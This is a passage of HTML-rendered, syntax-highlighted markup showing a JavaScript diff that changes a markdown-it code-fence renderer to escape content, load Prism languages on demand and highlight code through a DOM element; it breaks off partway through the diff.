&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-js language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-js language-js&quot;&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;markdownit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tokens&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; slf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;div&amp;gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;preAttrs&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code class=&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;codeClasses&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; el &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlightElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;outerHTML
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;details&gt;&lt;summary&gt;See Full Changes&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-js language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-js language-js&quot;&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;markdownit&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tokens&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; slf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; token &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tokens&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;info &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;unescapeAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; highlighted
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;highlight&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    highlighted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; langAttrs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    highlighted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; escaped &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;highlighted&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&amp;lt;pre&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; highlighted &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// If language exists, inject class gently, without modifying original token.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// May be, one day we will add .deepClone() for token and simplify this part, but&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// now we prefer to keep things local.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;attrIndex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;class&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tmpAttrs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attrs &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attrs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;class&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39; &#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Fake token just to render attributes&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tmpToken &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      &lt;span class=&quot;token literal-property property&quot;&gt;attrs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; tmpAttrs
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Make sure language is loaded. // 2&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;diff-&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; diffRemovedRawName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;diff-&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;languages&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;diffRemovedRawName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token function&quot;&gt;PrismLoad&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;diffRemovedRawName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;languages&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token function&quot;&gt;PrismLoad&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// 3, 4&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Some plugins such as toolbar venture into codeElement.parentElement.parentElement,&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// so we&#39;ll wrap the `pre` in an additional `div` for class purposes.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; preAttrs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tmpToken&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; codeClasses &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;div&amp;gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;preAttrs&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code class=&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;codeClasses&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; el &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlightElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;outerHTML
